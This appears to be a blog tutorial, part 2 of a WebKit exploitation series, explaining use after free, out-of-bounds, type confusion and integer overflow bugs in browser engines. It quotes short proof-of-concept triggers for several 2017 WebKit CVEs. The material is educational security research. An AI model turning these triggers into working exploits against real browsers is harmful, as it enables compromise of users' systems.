Webkit Exploitation Tutorial(Part 2): Common Vulnerability and Explanation

3 minute read

Preface

In the previous post, we introduce the environment setup. Now, it’s time to discuss something deeper. Before we start to talk about WebKit architecture, let’s find out common bugs in WebKit.

Here, I only discuss binary level related bugs. Some higher level bugs, like URL Spoof or UXSS, are not our topic. Examples below are not merely from WebKit. Some are Chrome’s bugs. We will introduce briefly. And analyze PoC specifically later.

Before reading this part, you are strongly recommended to read some materials about compiler theory. Basic Pwn knowledge should also be learned. My explanation is not clear. Again, correct my mistakes if you find.

This post will be updated several times as my understanding in JSC becomes deeper. Don’t forget to check it later.

Common Vulnerabilities

1. Use After Free

A.k.a UAF. This is common in CTF challenge, a classical scenario:

char* a = malloc(0x100);
free(a);
printf("%s", a);

Because some logic errors. The code will reuse freed memory. Usually, we can leak or write once we controlled the freed memory.

CVE-2017-13791 is an example for WebKit UAF. Here is the PoC:

<script>
  function jsfuzzer() {
    textarea1.setRangeText("foo");
    textarea2.autofocus = true;
    textarea1.name = "foo";
    form.insertBefore(textarea2, form.firstChild);
    form.submit();
  }
  function eventhandler2() {
    for(var i=0;i<100;i++) {
      var e = document.createElement("input");
      form.appendChild(e);
    }
  }
</script>
<body onload=jsfuzzer()>
  <form id="form" onchange="eventhandler2()">
  <textarea id="textarea1">a</textarea>
  <object id="object"></object>
  <textarea id="textarea2">b</textarea>

2. Out of Bound

A.k.a OOB. It’s like the overflow in Browser. Still, we can read/write nearby memory. OOB frequently occurs in false optimization of array or insufficient check. For example(CVE-2017-2447):

var ba;
function s(){
    ba = this;
}

function dummy(){
    alert("just a function");
}

Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);

When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn’t altered), and reads out of bounds.

In most cases. we cannot directly overwrite $RIP register. Exploit writers always craft fake array to turn partial R/W to arbitrary R/W.

3. Type Confusion

It’s a special vulnerability that happens in applications with compiler. And this bug is a slightly difficult to explain.

Imagine we have the following object(32 bits):

struct example{
  int length;
  char *content;
}

Then, if we have a length == 5 with a content pointer object in the memory, it probably shows like this:

0x00: 0x00000005 -> length
0x04: 0xdeadbeef -> pointer

Once we have another object:

struct exploit{
  int length;
  void (*exp)();
}

We can force the compiler to parse example object as exploit object. We can turn the exp function to arbitrary address and RCE.

An example for type confusion:

var q;
function g(){
    q = g.caller;
    return 7;
}

var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);

Cited from CVE-2017-2446

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function.

4. Integer Overflow

Integer Overflow is also common in CTF. Though Integer Overflow itself cannot lead RCE, it probably leads to OOB.

It’s not difficult to understand this bug. Imagine you are running below code in 32 bits machine:

mov eax, 0xffffffff
add eax, 2

Because the maximum of eax is 0xffffffff. In cannot contact 0xffffffff + 2 = 0x100000001. Thus, the higher byte will be overflowed(eliminated). The final result of eax is 0x00000001.

This is an example from WebKit(CVE-2017-2536):

var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];

The length is not correctly checked resulting we can overflow the length via expanding an array to the old one. Then, we can use the extend array to OOB.

5. Else

Some bugs are difficult to categorized:

  • Race Condition
  • Unallocated Memory

I will explain them in detail in CVE analysis later.

References

Some excellent materials that provides me great help:

    1. Groß S, 2018, Black Hat USA, “Attacking Client-Side JIT Compilers”
    1. Han C, https://github.com/tunz/js-vuln-db/, “js-vuln-db”
    1. Gianni A and Heel1an S, “Exploit WebKit Heap”

Next?

In the next article, I will introduce the mechanism and structure of WebKit/JSC.

Leave a comment